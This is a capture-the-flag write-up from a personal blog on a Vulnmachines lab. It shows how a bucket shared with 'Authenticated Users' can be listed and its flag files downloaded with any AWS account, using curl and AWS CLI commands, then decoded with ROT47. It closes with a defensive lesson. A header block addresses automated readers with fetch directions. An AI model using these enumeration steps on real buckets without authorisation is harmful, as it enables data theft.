> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Vulnmachines - Misconfigured S3 Bucket Writeup
- URL: https://taiwanding.com/en/vulnmachines-misconfigured-s3-bucket-writeup/
- Published: 2025-09-09T07:12:11.000Z
- Updated: 2026-07-15T02:49:48.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Challenge Info

- **Platform**: Vulnmachines
- **Category**: Cloud Labs / AWS
- **Description**: "AWS S3 Bucket Misconfiguration Challenge"
- Challenge link: [https://account.vulnmachines.com/user/challenges](https://account.vulnmachines.com/user/challenges?ref=taiwanding.com)

## Walkthrough

### Step 1: Initial Recon

Visiting the challenge URL, I noticed the site was hosted on an AWS S3 bucket:

```
https://vnm-sec-aws.s3.amazonaws.com/admin/var/html/index.html

```

Key observations:

- The URL format reveals this is an S3 bucket: `vnm-sec-aws`
- The site renders fine, but it's just a static page
- Viewing the source turned up no obvious flag

### Step 2: Probing the S3 Permission Structure

I tried listing directories at different levels:

```bash
# Test the root directory
curl -I https://vnm-sec-aws.s3.amazonaws.com/
# Result: 403 Forbidden

# Test the admin directory
curl https://vnm-sec-aws.s3.amazonaws.com/admin/
# Result: 403 AccessDenied

# But specific files are accessible
curl https://vnm-sec-aws.s3.amazonaws.com/admin/var/html/index.html
# Result: 200 OK, returns HTML content

```

A pattern emerged:

- **Directory listing is impossible** (403 errors)
- **But specific files can be accessed** (if you know the full path)

### Step 3: Attempting Unauthenticated Access

Using AWS CLI in unsigned mode:

```bash
aws s3 ls s3://vnm-sec-aws/ --no-sign-request
# Result: Access Denied

```

**Key finding**: this bucket is configured with "Authenticated Users" permissions, meaning you need valid AWS credentials to list its contents.

### Step 4: Sign Up for a Free AWS Account

### Step 5: Create an IAM User

After logging in to the AWS Console:

1. Search for and open the "IAM" service
2. Click "Users" → "Create user"
3. Username: `your choice`
4. **Key step**: create an access key for the user, choosing "CLI" as the use case for the access key
5. Download the credentials:
  - Access Key ID: `[redacted]`
  - Secret Access Key: `[redacted]`

### Step 6: Configure Permissions

1. Return to the IAM Console
2. Select the user `your choice`
3. Click the "Permissions" tab
4. "Add permissions" → "Attach policies directly"
5. Search for and attach: **`AmazonS3ReadOnlyAccess`**

### Step 7: Successfully Listing the Bucket Contents

```bash
aws s3 ls s3://vnm-sec-aws/ --recursive

```

Key finding — two flag files turned up:

```
2022-12-13 23:00:41  39 a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/flag.txt
2022-11-18 21:09:28  81 a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/flag.txt

```

The flags are buried in extremely deep paths to prevent brute-force guessing!

### Step 8: Download the Flag Files

Download the first flag:

```bash
aws s3 cp s3://vnm-sec-aws/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/flag.txt .
cat flag.txt
# Output: G?>L|:D4@?7:8FC650pFE96?E:42E650qF4<6EN

```

Download the second flag (which gives a hint about the first flag):

```bash
aws s3 cp s3://vnm-sec-aws/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/flag.txt flag2.txt
cat flag2.txt
# Output: Sorry! Please find flag in another folders. Use rot once you identify any string.

```

The second flag gives the hint: use ROT to decode the first one!

### Step 9: Decode with ROT47

The encoded string contains special characters, so I figured it was ROT47:

```bash
echo "G?>L|:D4@?7:8FC650pFE96?E:42E650qF4<6EN" | tr '!-~' 'P-~!-O'

```

Or you can just use an online tool:

[ROT-47 Cipher - ROT47 - Online Decoder, Encoder, TranslatorTool to decrypt/ encrypt with Rot47\. The ROT-47 cipher is a variant of the ROT-13 suitable for ASCII characters, exactly a subset of 94 printable characters. Easily convert, test or analyze your encrypted texts online.![](https://taiwanding.com/content/images/icon/favicon-1.ico)Online Decoder, Encoder, TranslatordCode![](https://taiwanding.com/content/images/thumbnail/dcode.png)](https://www.dcode.fr/rot-47-cipher?ref=taiwanding.com)

**Final Flag**: `vnm{redacted}`

## Key Takeaways

### The AWS S3 Permission Model

- **AllUsers**: anyone can access it (truly public)
- **AuthenticatedUsers**: anyone with an AWS account can access it
- **Specific IAM users/roles**: real access control

## Conclusion

This CTF is a perfect demonstration of the most common AWS S3 misconfiguration: mistaking "Authenticated Users" for a secure setting. In the real world, many data breaches stem from exactly this kind of configuration error.